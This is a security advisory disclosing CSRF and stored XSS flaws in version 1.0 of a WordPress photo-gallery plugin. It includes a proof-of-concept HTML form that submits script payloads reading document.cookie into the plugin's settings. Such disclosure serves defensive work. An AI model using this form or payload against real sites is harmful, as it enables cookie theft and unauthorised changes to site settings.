WordPress Lightbox Photo Gallery 1.0 CSRF / XSS

`Title: WordPress 'Lightbox Photo Gallery' plugin - CSRF/XSS  
Version: 1.0  
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej  
Date: 2014/12/12  
Download: https://wordpress.org/plugins/lightbox-photo-gallery/  
Notified WordPress: 2014/11/27  
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## Description:   
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Lighbox Photo Gallery will help you quickly and easily create an appealing photo gallery that opens in a lightbox. Use the settings page to select the images you want in your gallery and add the shortcode [ll-gallery] to the page or post where you want the gallery to show  
  
## CSRF:  
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It is possible to change the plugins admin settings by tricking a logged in admin to visit a crafted page.   
  
  
## Stored XSS:  
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Settings data from the admin page is stored unsanitized and shown on the plugin's admin page. This allows an attacker to perform XSS through the settings fields.   
  
PoC:  
Log in as admin and then submit the following form.   
<form method="POST" action="http://[DOMAIN]/wp-admin/admin-ajax.php">   
<input type="text" name="action" value="ll_save_settings"><br />  
<input type="text" name="ll__opt[image2_url]" value="http://www.smartcatdesign.net/wp-content/uploads/demo_banner.png"><script>alert(document.cookie);</script>"><br />  
<input type="text" name="ll__opt[image3_url]" value="http://www.smartcatdesign.net/wp-content/uploads/demo_banner.png"><script>alert(document.cookie);</script>"><br />  
<input type="text" name="ll__opt[background_color]" value="#ffffff"><br />   
<input type="text" name="ll__opt[disable]" value="1"><br />   
<input type="submit">  
</form>  
  
  
## Solution  
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No fix available.   
  
WordPress has been notified and the plugin has been closed until it is updated.  
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